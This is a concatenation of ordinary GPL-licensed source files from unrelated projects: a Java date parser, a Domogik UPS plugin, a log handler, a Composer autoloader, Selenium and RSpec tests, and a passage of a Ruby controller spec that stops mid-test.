* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* For more information, contact:
*
* Vivid Solutions
* Suite #1A
* 2328 Government Street
* Victoria BC V8T 5G5
* Canada
*
* (250)385-6040
* www.vividsolutions.com
*/
package com.vividsolutions.jump.util;
import java.awt.Color;
import java.awt.Component;
import java.io.IOException;
import java.io.InputStream;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Collection;
import java.util.Comparator;
import java.util.Date;
import java.util.Iterator;
import java.util.TreeSet;
import javax.swing.DefaultCellEditor;
import javax.swing.JComponent;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.border.LineBorder;
import com.vividsolutions.jts.util.Assert;
/**
* Warning: This class can parse a wide variety of formats. This flexibility is fine for parsing user
* input because the user immediately sees whether the parser is correct and can fix it if
* necessary. However, GML files are advised to stick with a safe format like yyyy-MM-dd.
* yy/MM/dd is not as safe because while 99/03/04 will be parsed as yyyy/MM/dd,
* 02/03/04 will be parsed as MM/dd/yyyy (because MM/dd/yyyy appears earlier than yyyy/MM/dd
* in FlexibleDateParser.txt).
*/
public class FlexibleDateParser {
private static Collection lenientFormatters = null;
private static Collection unlenientFormatters = null;
//CellEditor used to be a static field CELL_EDITOR, but I was getting
//problems calling it from ESETextField (it simply didn't appear).
//The problems vanished when I turned it into a static class. I didn't
//investigate further. [Jon Aquino]
public static final class CellEditor extends DefaultCellEditor {
public CellEditor() {
super(new JTextField());
}
private Object value;
private FlexibleDateParser parser = new FlexibleDateParser();
public boolean stopCellEditing() {
try {
value = parser.parse((String) super.getCellEditorValue(), true);
} catch (Exception e) {
((JComponent) getComponent()).setBorder(new LineBorder(Color.red));
return false;
}
return super.stopCellEditing();
}
public Component getTableCellEditorComponent(
JTable table,
Object value,
boolean isSelected,
int row,
int column) {
this.value = null;
((JComponent) getComponent()).setBorder(new LineBorder(Color.black));
return super.getTableCellEditorComponent(
table,
format((Date) value),
isSelected,
row,
column);
}
private String format(Date date) {
return (date == null) ? "" : formatter.format(date);
}
public Object getCellEditorValue() {
return value;
}
//Same formatter as used by JTable.DateRenderer. [Jon Aquino]
private DateFormat formatter = DateFormat.getDateInstance();
};
private boolean verbose = false;
private Collection sortByComplexity(Collection patterns) {
//Least complex to most complex. [Jon Aquino]
TreeSet sortedPatterns = new TreeSet(new Comparator() {
public int compare(Object o1, Object o2) {
int result = complexity(o1.toString()) - complexity(o2.toString());
if (result == 0) {
//The two patterns have the same level of complexity.
//Sort by order of appearance (e.g. to resolve
//MM/dd/yyyy vs dd/MM/yyyy [Jon Aquino]
result = ((Pattern) o1).index - ((Pattern) o2).index;
}
return result;
}
private TreeSet uniqueCharacters = new TreeSet();
private int complexity(String pattern) {
uniqueCharacters.clear();
for (int i = 0; i < pattern.length(); i++) {
if (("" + pattern.charAt(i)).trim().length() > 0) {
uniqueCharacters.add("" + pattern.charAt(i));
}
}
return uniqueCharacters.size();
}
});
sortedPatterns.addAll(patterns);
return sortedPatterns;
}
private Collection lenientFormatters() {
if (lenientFormatters == null) {
load();
}
return lenientFormatters;
}
private Collection unlenientFormatters() {
if (unlenientFormatters == null) {
load();
}
return unlenientFormatters;
}
/**
* @return null if s is empty
*/
public Date parse(String s, boolean lenient) throws ParseException {
if (s.trim().length() == 0) {
return null;
}
//The deprecated Date#parse method is actually pretty flexible. [Jon Aquino]
try {
if (verbose) {
System.out.println(s + " -- Date constructor");
}
return new Date(s);
} catch (Exception e) {
//Eat it. [Jon Aquino]
}
try {
return parse(s, unlenientFormatters());
} catch (ParseException e) {
if (lenient) {
return parse(s, lenientFormatters());
}
throw e;
}
}
private Date parse(String s, Collection formatters) throws ParseException {
ParseException firstParseException = null;
for (Iterator i = formatters.iterator(); i.hasNext();) {
SimpleDateFormat formatter = (SimpleDateFormat) i.next();
if (verbose) {
System.out.println(
s
+ " -- "
+ formatter.toPattern()
+ (formatter.isLenient() ? "lenient" : ""));
}
try {
return parse(s, formatter);
} catch (ParseException e) {
if (firstParseException == null) {
firstParseException = e;
}
}
}
throw firstParseException;
}
private Date parse(String s, SimpleDateFormat formatter) throws ParseException {
ParsePosition pos = new ParsePosition(0);
Date date = formatter.parse(s, pos);
if (pos.getIndex() == 0) {
throw new ParseException(
"Unparseable date: \"" + s + "\"",
pos.getErrorIndex());
}
//SimpleDateFormat ignores trailing characters in the pattern string that it
//doesn't need. Don't allow it to ignore any characters. [Jon Aquino]
if (pos.getIndex() != s.length()) {
throw new ParseException(
"Unparseable date: \"" + s + "\"",
pos.getErrorIndex());
}
Calendar calendar = Calendar.getInstance();
calendar.setTime(date);
if ((calendar.get(Calendar.YEAR) == 1970) && (s.indexOf("70") == -1)) {
calendar.set(Calendar.YEAR, Calendar.getInstance().get(Calendar.YEAR));
}
return calendar.getTime();
}
private static class Pattern {
private String pattern;
private int index;
public Pattern(String pattern, int index) {
this.pattern = pattern;
this.index = index;
}
public String toString() {
return pattern;
}
}
private void load() {
if (lenientFormatters == null) {
InputStream inputStream =
getClass().getResourceAsStream("FlexibleDateParser.txt");
try {
try {
Collection patterns = new ArrayList();
int index = 0;
for (Iterator i = FileUtil.getContents(inputStream).iterator();
i.hasNext();
) {
String line = ((String) i.next()).trim();
if (line.startsWith("#")) {
continue;
}
if (line.length() == 0) {
continue;
}
patterns.add(new Pattern(line, index));
index++;
}
unlenientFormatters = toFormatters(false, patterns);
lenientFormatters = toFormatters(true, patterns);
} finally {
inputStream.close();
}
} catch (IOException e) {
Assert.shouldNeverReachHere(e.toString());
}
}
}
private Collection toFormatters(boolean lenient, Collection patterns) {
ArrayList formatters = new ArrayList();
//Sort from least complex to most complex; otherwise, ddMMMyyyy
//instead of MMMd will match "May 15". [Jon Aquino]
for (Iterator i = sortByComplexity(patterns).iterator(); i.hasNext();) {
Pattern pattern = (Pattern) i.next();
SimpleDateFormat formatter = new SimpleDateFormat(pattern.pattern);
formatter.setLenient(lenient);
formatters.add(formatter);
}
return formatters;
}
public static void main(String[] args) throws Exception {
System.out.println(DateFormat.getDateInstance().parse("03-Mar-1998"));
}
public void setVerbose(boolean b) {
verbose = b;
}
}
| gpl-3.0 |
SemanticBashkortostan/city_news-OLD | spec/spec_helper.rb | 1739 | # This file is copied to spec/ when you run 'rails generate rspec:install'
ENV["RAILS_ENV"] ||= 'test'
require File.expand_path("../../config/environment", __FILE__)
require 'rspec/rails'
require 'email_spec'
require 'rspec/autorun'
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
Dir[Rails.root.join("spec/support/**/*.rb")].each {|f| require f}
RSpec.configure do |config|
config.include(EmailSpec::Helpers)
config.include(EmailSpec::Matchers)
# ## Mock Framework
#
# If you prefer to use mocha, flexmock or RR, uncomment the appropriate line:
#
# config.mock_with :mocha
# config.mock_with :flexmock
# config.mock_with :rr
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
config.fixture_path = "#{::Rails.root}/spec/fixtures"
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = true
# If true, the base class of anonymous controllers will be inferred
# automatically. This will be the default behavior in future versions of
# rspec-rails.
config.infer_base_class_for_anonymous_controllers = false
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = "random"
config.before(:suite) do
DatabaseCleaner.strategy = :truncation
end
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
end
end
| gpl-3.0 |
Nico0084/domogik-plugin-nutserve | bin/nutserve.py | 5329 | #!/usr/bin/python
# -*- coding: utf-8 -*-
""" This file is part of B{Domogik} project (U{http://www.domogik.org}).
License
=======
B{Domogik} is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
B{Domogik} is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Domogik. If not, see U{http://www.gnu.org/licenses}.
Plugin purpose
==============
Monitor UPS (Uninterruptible Power Supplies) through NUT lib
=====================================
- Nut Monitor service manager
@author: Nico <nico84dev@gmail.com>
@copyright: (C) 2013-2014 Domogik project
@license: GPL(v3)
@organization: Domogik
"""
# A debugging code checking import error
try:
from domogik.xpl.common.xplconnector import Listener
from domogik.xpl.common.xplmessage import XplMessage
from domogik.xpl.common.plugin import XplPlugin
from domogik_packages.plugin_nutserve.lib.nutserve import UpsManager
from domogik_packages.plugin_nutserve.lib.upsclient import getUPSId
import traceback
except ImportError as exc :
import logging
logging.basicConfig(filename='/var/log/domogik/nutserve_start_error.log',level=logging.DEBUG)
log = logging.getLogger('nutmonitor_start_error')
err = "Error: Plugin Starting failed to import module ({})".format(exc)
print err
logging.error(err)
print log
class NUTManager(XplPlugin):
""" Envois et recois des codes xPL UPS
"""
def __init__(self):
""" Init plugin
"""
XplPlugin.__init__(self, name='nutserve')
# check if the plugin is configured. If not, this will stop the plugin and log an error
if not self.check_configured():
return
host = self.get_config("host")
port = self.get_config("port")
login = self.get_config("login")
pwd = self.get_config("pwd")
# get the devices list
self.devices = self.get_device_list(quit_if_no_device = False)
# get the config values
self.managerClients = UpsManager(self, host, port, login if login else None, pwd if login else None, self.send_xplTrig)
for a_device in self.devices :
try :
if a_device['device_type_id'] != 'ups.device' :
self.log.error(u"No a device type reconized : {0}".format(a_device['device_type_id']))
break
else :
if self.managerClients.addClient(a_device) :
self.log.info("Ready to work with device {0}".format(getUPSId(a_device)))
else : self.log.info("Device parameters not configured, can't create UPS Client : {0}".format(getUPSId(a_device)))
except:
self.log.error(traceback.format_exc())
# we don't quit plugin if an error occured
#self.force_leave()
#return
# Create the xpl listeners
Listener(self.handle_xpl_cmd, self.myxpl,{'schema': 'ups.basic',
'xpltype': 'xpl-cmnd'})
self.add_stop_cb(self.managerClients.stop)
print "Plugin ready :)"
self.log.info("Plugin ready :)")
self.ready()
def __del__(self):
"""Close managerClients"""
print "Try __del__ self.managerClients."
self.managerClients = None
def send_xplStat(self, data):
""" Send xPL cmd message on network
"""
msg = XplMessage()
msg.set_type("xpl-stat")
msg.set_schema("sensor.basic")
msg.add_data(data)
self.myxpl.send(msg)
def send_xplTrig(self, schema, data):
""" Send xPL message on network
"""
self.log.debug("Xpl Trig for {0}".format(data))
msg = XplMessage()
msg.set_type("xpl-trig")
msg.set_schema(schema)
msg.add_data(data)
self.myxpl.send(msg)
def handle_xpl_trig(self, message):
self.log.debug("xpl-trig listener received message:{0}".format(message))
print message
def handle_xpl_cmd(self, message):
""" Process xpl schema ups.basic
"""
self.log.debug("xpl-cmds listener received message:{0}".format(message))
device_name = message.data['device']
self.log.debug("device :" + device_name)
idsClient = self.managerClients.getIdsClient(device_name)
find = False
if idsClient != [] :
for id in idsClient :
client = self.managerClients.getClient(id)
if client :
self.log.debug("Handle xpl-cmds for UPS :{0}".format(message.data['device']))
find = True
client.handle_xpl_cmd(message.data)
if not find : self.log.debug("xpl-cmds received for unknowns UPS :{0}".format(message.data['device']))
if __name__ == "__main__":
NUTManager()
| gpl-3.0 |
codepilotde/AdServing | ad.base/src/main/java/net/mad/ads/base/api/utils/logging/handler/RollingFileHandler.java | 5847 | /**
* Mad-Advertisement
* Copyright (C) 2011 Thorsten Marx <thmarx@gmx.net>
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
package net.mad.ads.base.api.utils.logging.handler;
import java.io.*;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.logging.*;
import java.util.logging.Formatter;
/**
* File handler that supports different kind of rolling than
* java.util.logging.FileHandler. Supported rolling methods are: by date (day).
*
* Example of entries in the logging file (system property
* "java.util.logging.config.file"):
*
* <table align="center" bgcolor="#ddddff" border=1 cellpadding="10" cellspacing="0">
* <tr>
* <td>
*
* <pre>
* logging.RollingFileHandler.level = FINEST
* logging.RollingFileHandler.prefix = MyApp_
* logging.RollingFileHandler.dateFormat = yyyyMMdd
* logging.RollingFileHandler.suffix = .log
* logging.RollingFileHanlder.cycle=day
* logging.RollingFileHandler.formatter = java.util.logging.SimpleFormatter
* </pre>
*
* </td>
* </tr>
* </table>
*
* @version $Revision:$ ($Date:$)
* @author $Author:$
*/
public class RollingFileHandler extends StreamHandler {
/** File prefix. */
private static String prefix = null;
/** Date format to use in file name. */
private static String dateFormat = "yyyy-MM-dd"; // default
/** File suffix. */
private static String suffix = null;
/** Time in milliseconds for the next cycle */
private static long nextCycle = 0;
/** Time cycle (for file roling) */
private static String cycle = "day"; // default
public RollingFileHandler(String prefix, String suffix) {
this.suffix = suffix;
this.prefix = prefix;
openFile();
}
/**
* Constructor.
*/
public RollingFileHandler() {
super();
LogManager manager = LogManager.getLogManager();
String className = RollingFileHandler.class.getName();
prefix = manager.getProperty(className + ".prefix");
String dfs = manager.getProperty(className + ".dateFormat");
suffix = manager.getProperty(className + ".suffix");
String c = manager.getProperty(className + ".cycle");
String formatter = manager.getProperty(className + ".formatter");
if (dfs != null) {
dateFormat = dfs;
}
if (c != null) {
if (c.equalsIgnoreCase("day") || c.equalsIgnoreCase("week")
|| c.equalsIgnoreCase("month")
|| c.equalsIgnoreCase("year")) {
cycle = c;
}
}
if (formatter != null) {
try {
setFormatter((Formatter) Class.forName(formatter).newInstance());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
openFile();
}// RollingFileHandler()
/**
* Open existing or create new log file.
*/
private synchronized void openFile() {
// create file name:
String dateString = dateFormat; // default (to note error in file name)
Date currentDate = new Date();
try {
SimpleDateFormat sdf = new SimpleDateFormat(dateFormat,
Locale.getDefault());
dateString = sdf.format(currentDate);
} catch (IllegalArgumentException iae) {
/* ignore wrong date format */
}
// compute next cycle:
Date nextDate = null;
GregorianCalendar gc = new GregorianCalendar();
gc.setTime(currentDate);
if (cycle.equalsIgnoreCase("week")) {
gc.add(Calendar.WEEK_OF_YEAR, 1);
nextDate = gc.getTime();
} else if (cycle.equalsIgnoreCase("month")) {
gc.add(Calendar.MONTH, 1);
int month = gc.get(Calendar.MONTH);
int year = gc.get(Calendar.YEAR);
GregorianCalendar gc2 = new GregorianCalendar(year, month, 1);
nextDate = gc2.getTime();
} else if (cycle.equalsIgnoreCase("year")) {
gc.add(Calendar.YEAR, 1);
int year = gc.get(Calendar.YEAR);
GregorianCalendar gc2 = new GregorianCalendar(year, 0, 1);
nextDate = gc2.getTime();
} else { // day by default
gc.add(Calendar.DAY_OF_MONTH, 1);
nextDate = gc.getTime();
}
// to zero time:
gc = new GregorianCalendar();
gc.setTime(nextDate);
gc.set(Calendar.HOUR, 0);
gc.set(Calendar.HOUR_OF_DAY, 0);
gc.set(Calendar.MINUTE, 0);
gc.set(Calendar.SECOND, 0);
gc.set(Calendar.MILLISECOND, 0);
nextDate = gc.getTime();
nextCycle = nextDate.getTime();
// create new file:
String fileName = prefix + dateString + suffix;
File file = new File(fileName);
// create file:
if (!file.exists()) {
try {
file.createNewFile();
} catch (IOException ioe) {
ioe.printStackTrace(System.err);
}
}
// set log file as OutputStream:
try {
FileOutputStream fos = new FileOutputStream(file, true);
setOutputStream(fos);
} catch (FileNotFoundException fnfe) {
reportError(null, fnfe, ErrorManager.OPEN_FAILURE);
fnfe.printStackTrace(System.err);
setOutputStream(System.out); // fallback stream
}
}// openFile()
/**
* Overwrites super.
*/
public synchronized void publish(LogRecord record) {
if (!isLoggable(record)) {
return;
}
super.publish(record);
flush();
// check if we need to rotate
if (System.currentTimeMillis() >= nextCycle) { // next cycle?
role();
}
}// publish()
/**
* Role file. Close current file and possibly create new file.
*/
final private synchronized void role() {
Level oldLevel = getLevel();
setLevel(Level.OFF);
super.close();
openFile();
setLevel(oldLevel);
}// rotate()
}// RollingFileHandler | gpl-3.0 |
brangerbriz/webroutes | nw-app/telegeography-data/internetexchanges/buildings/19280.js | 513 | {"exchanges":[{"info":[{"onclick":null,"link":"mailto:lacier@titania.com.br","value":"lacier@titania.com.br Lacier Dias"},{"onclick":null,"link":null,"value":"65 3315 2828"},{"onclick":null,"link":"mailto:lacier@titania.com.br","value":"lacier@titania.com.br"},{"onclick":"window.open(this.href,'ix-new-window');return false;","link":"http://www.titania.com.br","value":"Website"}],"slug":"ix-cuiab-mt-cuiaba-brazil","name":"IX Cuiab\u00e1 MT"}],"address":["Avenue Isaac Povoas, 901","Cuiaba, Brazil"],"id":19280} | gpl-3.0 |
mmuszkow/wtwUpdate | src/Updater/InstallThread.hpp | 632 | #pragma once
#include "UniqueThread.hpp"
#include "JsonObjs/AddonsList.hpp"
namespace wtwUpdate {
namespace updater {
class InstallThread : public UniqueThread {
// it's a singleton so this is used for currently running
json::AddonsList _toInstall;
json::AddonsList _toRemove;
static DWORD WINAPI proc(LPVOID args);
public:
inline static InstallThread& get() {
static InstallThread instance;
return instance;
}
inline bool start() {
return UniqueThread::start(proc);
}
void setArg(const std::vector<json::Addon>& toInstall, const std::vector<json::Addon>& toRemove);
};
}
}
| gpl-3.0 |
ggerman/twilionClient | vendor/composer/autoload_real.php | 1681 | <?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInit40a938c2c43d8c137cf0909d833d9d6b
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('ComposerAutoloaderInit40a938c2c43d8c137cf0909d833d9d6b', 'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInit40a938c2c43d8c137cf0909d833d9d6b', 'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION');
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInit40a938c2c43d8c137cf0909d833d9d6b::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ . '/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
return $loader;
}
}
| gpl-3.0 |
Fightbackman/PrograHaWS2013 | Hausaufgabe8/countrysrc/Country.java | 2300 | import java.util.*;
/** There must not be two different countries with the same name! */
public class Country implements Comparable<Country> {
private String name; // must not be null
/** number of inhabitants */
private int numInhabitants;
/** size in square meters */
private int size;
public String getName() {
return this.name;
}
public int getNumInhabitants() {
return this.numInhabitants;
}
public int getSize() {
return this.size;
}
public Country (String name, int numInhabitants, int size) {
this.name = name;
this.numInhabitants = numInhabitants;
this.size = size;
}
public String toString() {
return this.name + ": " +
this.numInhabitants + " inhabitants, " +
this.size + " square meters";
}
public static void main(String[] args) {
Country czechRepublic = new Country("Tschechien", 10500000, 78867);
Country tajikistan = new Country("Tadschikistan", 7100000, 143100);
Country tonga = new Country("Tonga", 104000, 747);
Country transnistria = new Country("Transnistrien", 555347, 3567);
Country tuvalu = new Country("Tuvalu", 10000, 26);
Set<Country> countries = new TreeSet<Country>();
countries.add(czechRepublic);
countries.add(tajikistan);
countries.add(tonga);
countries.add(transnistria);
countries.add(tuvalu);
// FIXME sollte die Laender in der alphabetischen
// Reihenfolge ihrer Namen ausgeben
System.out.println(countries);
Country[] sortedByInhabitants =
countries.toArray(new Country[countries.size()]);
// TODO sortiere sortedByInhabitants aufsteigend
// nach der Einwohnerzahl der Laender
System.out.println(Arrays.toString(sortedByInhabitants));
List<Country> sortedBySize = new LinkedList<Country>(countries);
// TODO Sortiere sortedBySize aufsteigend nach der Flaeche der Laender.
// Falls zwei Laender die gleiche Flaeche haben, sortiere sie nach der
// Einwohnerzahl.
System.out.println(sortedBySize);
}
@Override
public int compareTo(Country o) {
// TODO Auto-generated method stub
return 0;
}
} | gpl-3.0 |
epam/JDI | Java/Tests/jdi-uitest-webtests/src/test/java/com/epam/jdi/uitests/testing/unittests/tests/complex/SelectorTests.java | 3585 | package com.epam.jdi.uitests.testing.unittests.tests.complex;
import com.epam.jdi.uitests.testing.unittests.InitTests;
import com.epam.jdi.uitests.testing.unittests.enums.Odds;
import com.epam.jdi.uitests.web.selenium.elements.complex.Selector;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import java.lang.reflect.Method;
import java.util.List;
import static com.epam.jdi.uitests.core.preconditions.PreconditionsState.isInState;
import static com.epam.jdi.uitests.testing.unittests.enums.Odds.SEVEN;
import static com.epam.jdi.uitests.testing.unittests.enums.Preconditions.METALS_AND_COLORS_PAGE;
import static com.epam.jdi.uitests.testing.unittests.pageobjects.EpamJDISite.metalsColorsPage;
import static com.epam.jdi.uitests.testing.unittests.tests.complex.CommonActionsData.*;
import static com.epam.web.matcher.testng.Assert.areEquals;
import static com.epam.web.matcher.testng.Assert.listEquals;
import static java.util.Arrays.asList;
/**
* Created by Roman_Iovlev on 9/15/2015.
*/
public class SelectorTests extends InitTests {
private static final List<String> oddOptions = asList("1", "3", "5", "7");
private Selector<Odds> odds() {
return metalsColorsPage.summary.odds;
}
@BeforeMethod
public void before(Method method) {
isInState(METALS_AND_COLORS_PAGE, method);
}
@Test
public void selectStringTest() {
odds().select("7");
checkAction("Summary (Odd): value changed to 7");
}
@Test
public void selectIndexTest() {
odds().select(4);
checkAction("Summary (Odd): value changed to 7");
}
@Test
public void selectEnumTest() {
odds().select(SEVEN);
checkAction("Summary (Odd): value changed to 7");
}
@Test
public void getOptionsTest() {
listEquals(odds().getOptions(), oddOptions);
}
@Test
public void getNamesTest() {
listEquals(odds().getNames(), oddOptions);
}
@Test
public void getValuesTest() {
listEquals(odds().getValues(), oddOptions);
}
@Test
public void getOptionsAsTextTest() {
areEquals(odds().getOptionsAsText(), "1, 3, 5, 7");
}
@Test
public void setValueTest() {
odds().setValue("7");
checkAction("Summary (Odd): value changed to 7");
}
@Test
public void getNameTest() {
areEquals(odds().getName(), "Odds");
}
// Fails
@Test
public void getSelectedTest() {
checkActionThrowError(() -> odds().getSelected(), noElementsMessage); // isDisplayed not defined
}
@Test
public void getSelectedIndexTest() {
checkActionThrowError(() -> odds().getSelectedIndex(), noElementsMessage); // isDisplayed not defined
}
@Test
public void isSelectedTest() {
checkActionThrowError(() -> odds().isSelected("7"), noElementsMessage); // isDisplayed not defined
}
@Test
public void isSelectedEnumTest() {
checkActionThrowError(() -> odds().isSelected(SEVEN), noElementsMessage); // isDisplayed not defined
}
@Test
public void waitSelectedTest() {
checkActionThrowError(() -> odds().waitSelected("7"), noElementsMessage); // isDisplayed not defined
}
@Test
public void waitSelectedEnumTest() {
checkActionThrowError(() -> odds().waitSelected(SEVEN), noElementsMessage); // isDisplayed not defined
}
@Test
public void getValueTest() {
checkActionThrowError(() -> odds().getValue(), noElementsMessage); // isDisplayed not defined
}
}
| gpl-3.0 |
setiQuest/WorldOfSeti | spec/controllers/display1_controller_spec.rb | 13544 | ################################################################################
#
# File: display1_controller_spec.rb
# Project: World of SETI (WOS)
# Authors:
# Alan Mak
# Anthony Tang
# Dia Kharrat
# Paul Wong
#
# The initial source was worked on by students of Carnegie Mellon Silicon Valley
#
# Copyright 2011 The SETI Institute
#
# World of SETI is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# World of SETI is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with World of SETI. If not, see<http://www.gnu.org/licenses/>.
#
# Implementers of this code are requested to include the caption
# "Licensed through SETI" with a link to setiQuest.org.
#
# For alternate licensing arrangements, please contact
# The SETI Institute at www.seti.org or setiquest.org.
#
################################################################################
require 'spec_helper'
require 'pathy'
require 'fixtures'
require 'application_controller'
describe Display1Controller do
before :all do
# give all ruby objects the pathy gem methods which are used to help parse JSON easier
Object.pathy!
# define constants
@HTTP_500 = "500"
end
describe "GET 'index'" do
it "should be successful" do
get 'index'
response.should be_success
end
end
describe "GET 'activity'" do
it "should get data successful" do
sample_activity = TestFixtures::get_json_activity(1, 1, 1000.0, 0, 0, "ON1")
controller.stub(:get_json_activity).and_return(sample_activity)
get 'activity', :format => :json
json = ActiveSupport::JSON.decode(response.body)
response.should be_success
# primaryBeam_ra, primaryBeam_dec, fovBeam_ra, fovBeam_dec, id, status
primaryBeamLocation = json.at_json_path("primaryBeamLocation")
primaryBeamLocation.at_json_path("ra").should == sample_activity[:primaryBeamLocation]["ra"]
primaryBeamLocation.at_json_path("dec").should == sample_activity[:primaryBeamLocation]["dec"]
fovBeamLocation = json.at_json_path("fovBeamLocation")
fovBeamLocation.at_json_path("ra").should == sample_activity[:fovBeamLocation]["ra"]
fovBeamLocation.at_json_path("dec").should == sample_activity[:fovBeamLocation]["dec"]
json.at_json_path("id").should == sample_activity[:id]
json.at_json_path("status").should == sample_activity[:status]
end
it "should follow the JSON spec by having all keys and fields within valid range" do
sample_activity = TestFixtures::get_json_activity(1, 1, 1000.0, 0, 0, "ON1")
controller.stub(:get_json_activity).and_return(sample_activity)
get 'activity', :format => :json
json = ActiveSupport::JSON.decode(response.body)
# test for presence of primaryBeamLocation
json.has_json_path?("primaryBeamLocation").should be_true
# test that primaryBeamLocation's ra has valid values
json.at_json_path("primaryBeamLocation").has_json_path?("ra").should be_true
primaryBeamLocation_ra = json.at_json_path("primaryBeamLocation").at_json_path("ra")
is_primaryBeamLocation_ra_valid = primaryBeamLocation_ra.is_a?(Float) || primaryBeamLocation_ra.is_a?(Integer)
is_primaryBeamLocation_ra_valid.should be_true
# test that primaryBeamLocation's dec has valid values
json.at_json_path("primaryBeamLocation").has_json_path?("dec").should be_true
primaryBeamLocation_dec = json.at_json_path("primaryBeamLocation").at_json_path("dec")
is_primaryBeamLocation_dec_valid = primaryBeamLocation_dec.is_a?(Float) || primaryBeamLocation_dec.is_a?(Integer)
is_primaryBeamLocation_dec_valid.should be_true
# test for presence of fovBeamLocation
json.has_json_path?("fovBeamLocation").should be_true
# test that fovBeamLocation's ra has valid values
json.at_json_path("fovBeamLocation").has_json_path?("ra").should be_true
fovBeamLocation_ra = json.at_json_path("fovBeamLocation").at_json_path("ra")
is_fovBeamLocation_ra_valid = fovBeamLocation_ra.is_a?(Float) || fovBeamLocation_ra.is_a?(Integer)
is_fovBeamLocation_ra_valid.should be_true
# test that fovBeamLocation's dec has valid values
json.at_json_path("fovBeamLocation").has_json_path?("dec").should be_true
fovBeamLocation_dec = json.at_json_path("fovBeamLocation").at_json_path("dec")
is_fovBeamLocation_dec_valid = fovBeamLocation_dec.is_a?(Float) || fovBeamLocation_dec.is_a?(Integer)
is_fovBeamLocation_dec_valid.should be_true
# test for presence of id
json.has_json_path?("id").should be_true
json.at_json_path("id").is_a?(Integer).should be_true
# test for presence of status
json.has_json_path?("status").should be_true
json.at_json_path("status").is_a?(String).should be_true
end
it "should set the primaryBeamLocation's and fovBeamLocation's RA and DEC to the valid max value if the value is greater than the max" do
controller.stub(:get_json_activity).and_return(TestFixtures::get_json_activity(ApplicationController::MAX_RA+1, ApplicationController::MAX_DEC+1, ApplicationController::MAX_RA+1, ApplicationController::MAX_DEC+1, 0, "Observing"))
get :activity, :format => :json
response.should be_success
json = ActiveSupport::JSON.decode(response.body)
primaryBeamLocation = json.at_json_path("primaryBeamLocation")
primaryBeamLocation.at_json_path("ra").should == ApplicationController::MAX_RA
primaryBeamLocation.at_json_path("dec").should == ApplicationController::MAX_DEC
fovBeamLocation = json.at_json_path("primaryBeamLocation")
fovBeamLocation.at_json_path("ra").should == ApplicationController::MAX_RA
fovBeamLocation.at_json_path("dec").should == ApplicationController::MAX_DEC
end
it "should set the primaryBeamLocation's and fovBeamLocation's RA and DEC to the valid min value if the value is less than the min" do
controller.stub(:get_json_activity).and_return(TestFixtures::get_json_activity(ApplicationController::MIN_RA-1, ApplicationController::MIN_DEC-1, ApplicationController::MIN_RA-1, ApplicationController::MIN_DEC-1, 0, "Observing"))
get :activity, :format => :json
response.should be_success
json = ActiveSupport::JSON.decode(response.body)
primaryBeamLocation = json.at_json_path("primaryBeamLocation")
primaryBeamLocation.at_json_path("ra").should == ApplicationController::MIN_RA
primaryBeamLocation.at_json_path("dec").should == ApplicationController::MIN_DEC
fovBeamLocation = json.at_json_path("primaryBeamLocation")
fovBeamLocation.at_json_path("ra").should == ApplicationController::MIN_RA
fovBeamLocation.at_json_path("dec").should == ApplicationController::MIN_DEC
end
it "should cap the status length to ApplicationController::ACTIVITY_STATUS_MAX_LENGTH if it is greater than ApplicationController::ACTIVITY_STATUS_MAX_LENGTH" do
status = "a" * (ApplicationController::ACTIVITY_STATUS_MAX_LENGTH + 1)
controller.stub(:get_json_activity).and_return(TestFixtures::get_json_activity(0, 0, 0, 0, 0, status))
get :activity, :format => :json
response.should be_success
